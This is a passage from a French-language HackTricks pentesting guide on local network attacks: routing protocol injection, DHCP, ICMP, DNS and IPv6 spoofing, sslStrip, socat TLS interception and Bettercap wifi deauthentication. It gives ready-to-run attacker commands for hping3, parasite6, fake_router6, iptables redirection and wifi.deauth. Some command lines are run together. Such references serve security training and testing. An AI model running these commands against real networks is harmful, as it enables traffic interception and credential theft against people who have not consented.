Notez que RIPv2 prend en charge l'authentification MD5 tandis que RIPng n'inclut pas d'authentification native, se reposant sur les en-têtes IPsec AH et ESP dans IPv6.

Attaques EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage dynamique. C'est un protocole de vecteur de distance. En l'absence d'authentification et de configuration d'interfaces passives, un intrus peut interférer avec le routage EIGRP et causer une empoisonnement des tables de routage. De plus, le réseau EIGRP (autrement dit, le système autonome) est plat et n'est pas segmenté en zones. Si un attaquant injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.

Pour attaquer un système EIGRP, il faut établir une relation de voisinage avec un routeur EIGRP légitime, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.

FRRouting vous permet de mettre en place un routeur virtuel prenant en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles. Il vous suffit de le déployer sur le système de votre attaquant et vous pouvez réellement vous faire passer pour un routeur légitime dans le domaine de routage.

Coly possède des capacités pour intercepter les diffusions EIGRP (Enhanced Interior Gateway Routing Protocol). Il permet également l'injection de paquets, qui peut être utilisée pour modifier les configurations de routage.

OSPF

Dans le protocole Open Shortest Path First (OSPF), l'authentification MD5 est couramment utilisée pour assurer une communication sécurisée entre les routeurs. Cependant, cette mesure de sécurité peut être compromise en utilisant des outils comme Loki et John the Ripper. Ces outils sont capables de capturer et de casser les hachages MD5, exposant la clé d'authentification. Une fois cette clé obtenue, elle peut être utilisée pour introduire de nouvelles informations de routage. Pour configurer les paramètres de routage et établir la clé compromise, les onglets Injection et Connection sont utilisés, respectivement.

  • Capture et Cassage des Hachages MD5 : Des outils tels que Loki et John the Ripper sont utilisés à cette fin.

  • Configuration des Paramètres de Routage : Cela se fait via l'onglet Injection.

  • Définition de la Clé Compromise : La clé est configurée sous l'onglet Connection.

Autres Outils et Sources Génériques

  • Above : Outil pour scanner le trafic réseau et trouver des vulnérabilités

  • Vous pouvez trouver plus d'informations sur les attaques réseau ici.

Spoofing

L'attaquant configure tous les paramètres réseau (GW, IP, DNS) du nouveau membre du réseau en envoyant de fausses réponses DHCP.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Vérifiez la section précédente.

ICMPRedirect

ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une adresse IP. Ensuite, lorsque la victime souhaite contacter l'adresse IP, elle enverra le paquet via l'attaquant.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

L'attaquant va résoudre certains (ou tous) les domaines demandés par la victime.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Configurer son propre DNS avec dnsmasq

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Passerelles locales

Plusieurs routes vers des systèmes et des réseaux existent souvent. Après avoir établi une liste des adresses MAC dans le réseau local, utilisez gateway-finder.py pour identifier les hôtes prenant en charge le transfert IPv4.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Pour la résolution locale des hôtes lorsque les recherches DNS échouent, les systèmes Microsoft s'appuient sur Link-Local Multicast Name Resolution (LLMNR) et le NetBIOS Name Service (NBT-NS). De même, Apple Bonjour et les implémentations zero-configuration de Linux utilisent Multicast DNS (mDNS) pour découvrir les systèmes au sein d'un réseau. En raison de la nature non authentifiée de ces protocoles et de leur fonctionnement sur UDP, en diffusant des messages, ils peuvent être exploités par des attaquants cherchant à rediriger les utilisateurs vers des services malveillants.

Vous pouvez vous faire passer pour des services recherchés par des hôtes en utilisant Responder pour envoyer de fausses réponses. Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.

Les navigateurs utilisent couramment le protocole Web Proxy Auto-Discovery (WPAD) pour acquérir automatiquement les paramètres du proxy. Cela implique de récupérer les détails de configuration à partir d'un serveur, spécifiquement via une URL telle que "http://wpad.example.org/wpad.dat". La découverte de ce serveur par les clients peut se faire via divers mécanismes :

  • Via DHCP, où la découverte est facilitée en utilisant une entrée de code spéciale 252.

  • Par DNS, qui implique la recherche d'un nom d'hôte étiqueté wpad dans le domaine local.

  • Via Microsoft LLMNR et NBT-NS, qui sont des mécanismes de secours utilisés dans les cas où les recherches DNS échouent.

L'outil Responder tire parti de ce protocole en agissant en tant que serveur WPAD malveillant. Il utilise DHCP, DNS, LLMNR et NBT-NS pour induire en erreur les clients et les amener à se connecter à lui. Pour approfondir la manière dont les services peuvent être usurpés en utilisant Responder consultez ceci.

Vous pouvez proposer différents services dans le réseau pour essayer de tromper un utilisateur afin qu'il entre des informations d'identification en texte clair. Plus d'informations sur cette attaque dans Spoofing SSDP and UPnP Devices.

IPv6 Neighbor Spoofing

Cette attaque est très similaire au Spoofing ARP mais dans le monde IPv6. Vous pouvez faire croire à la victime que l'IPv6 de la passerelle a l'adresse MAC de l'attaquant.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

Spoofing/Flooding des Annonces de Routeur IPv6

Certains systèmes d'exploitation configurent par défaut la passerelle à partir des paquets RA envoyés dans le réseau. Pour déclarer l'attaquant en tant que routeur IPv6, vous pouvez utiliser :

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

Spoofing DHCP IPv6

Par défaut, certains systèmes d'exploitation tentent de configurer le DNS en lisant un paquet DHCPv6 dans le réseau. Ainsi, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer en tant que serveur DNS. Le DHCP fournit également une adresse IPv6 à la victime.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (fausse page et injection de code JS)

Attaques Internet

sslStrip

Essentiellement, ce que fait cette attaque, c'est que, dans le cas où l'utilisateur tente d'accéder à une page HTTP qui se redirige vers la version HTTPS, sslStrip va maintenir une connexion HTTP avec le client et une connexion HTTPS avec le serveur afin de pouvoir capturer la connexion en texte clair.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Plus d'informations ici.

sslStrip+ et dns2proxy pour contourner HSTS

La différence entre sslStrip+ et dns2proxy par rapport à sslStrip est qu'ils vont rediriger par exemple www.facebook.com vers wwww.facebook.com (notez le "w" supplémentaire) et définiront l'adresse de ce domaine comme l'IP de l'attaquant. De cette manière, le client se connectera à wwww.facebook.com (l'attaquant) mais en arrière-plan, sslstrip+ maintiendra la vraie connexion via https avec www.facebook.com.

Le but de cette technique est de contourner HSTS car wwww.facebook.com ne sera pas enregistré dans le cache du navigateur, donc le navigateur sera trompé pour effectuer l'authentification de Facebook en HTTP. Notez que pour effectuer cette attaque, la victime doit essayer d'accéder initialement à http://www.faceook.com et non en https. Cela peut être fait en modifiant les liens à l'intérieur d'une page http.

Plus d'informations ici, ici et ici.

sslStrip ou sslStrip+ ne fonctionne plus. Cela est dû aux règles HSTS préenregistrées dans les navigateurs, donc même si c'est la première fois qu'un utilisateur accède à un domaine "important", il y accédera via HTTPS. De plus, notez que les règles préenregistrées et les autres règles générées peuvent utiliser le drapeau includeSubdomains donc l'exemple de wwww.facebook.com précédent ne fonctionnera plus car facebook.com utilise HSTS avec includeSubdomains.

À FAIRE : easy-creds, evilgrade, metasploit, factory

Écoute TCP sur le port

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

Écoute TCP + SSL sur le port

Générer des clés et un certificat auto-signé

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Écoutez en utilisant un certificat

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Écouter en utilisant un certificat et rediriger vers les hôtes

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Parfois, si le client vérifie que le CA est valide, vous pourriez servir un certificat d'un autre nom d'hôte signé par un CA. Un autre test intéressant consiste à servir un certificat du nom d'hôte demandé mais auto-signé.

D'autres choses à tester sont d'essayer de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou d'utiliser la clé publique valide, de forcer l'utilisation d'un algorithme comme diffie hellman (qui n'a pas besoin de décrypter quoi que ce soit avec la vraie clé privée) et lorsque le client demande une sonde de la vraie clé privée (comme un hachage), envoyer une fausse sonde et espérer que le client ne vérifie pas cela.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Notes sur la découverte active

Il faut prendre en compte que lorsqu'un paquet UDP est envoyé à un appareil qui n'a pas le port demandé, un ICMP (Port Unreachable) est renvoyé.

Découverte ARP

Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées à l'intérieur du réseau. L'ordinateur doit envoyer une demande pour chaque adresse IP possible et seules celles qui sont utilisées répondront.

mDNS (multicast DNS)

Bettercap envoie une requête MDNS (toutes les X ms) demandant _services_.dns-sd._udp.local. La machine qui voit ce paquet répond généralement à cette demande. Ensuite, il ne recherche que les machines répondant aux "services".

Outils

  • Avahi-browser (--all)

  • Bettercap (net.probe.mdns)

  • Responder

NBNS (NetBios Name Server)

Bettercap diffuse des paquets vers le port 137/UDP demandant le nom "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap diffuse des paquets SSDP recherchant tous types de services (Port UDP 1900).

WSD (Web Service Discovery)

Bettercap diffuse des paquets WSD recherchant des services (Port UDP 3702).

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour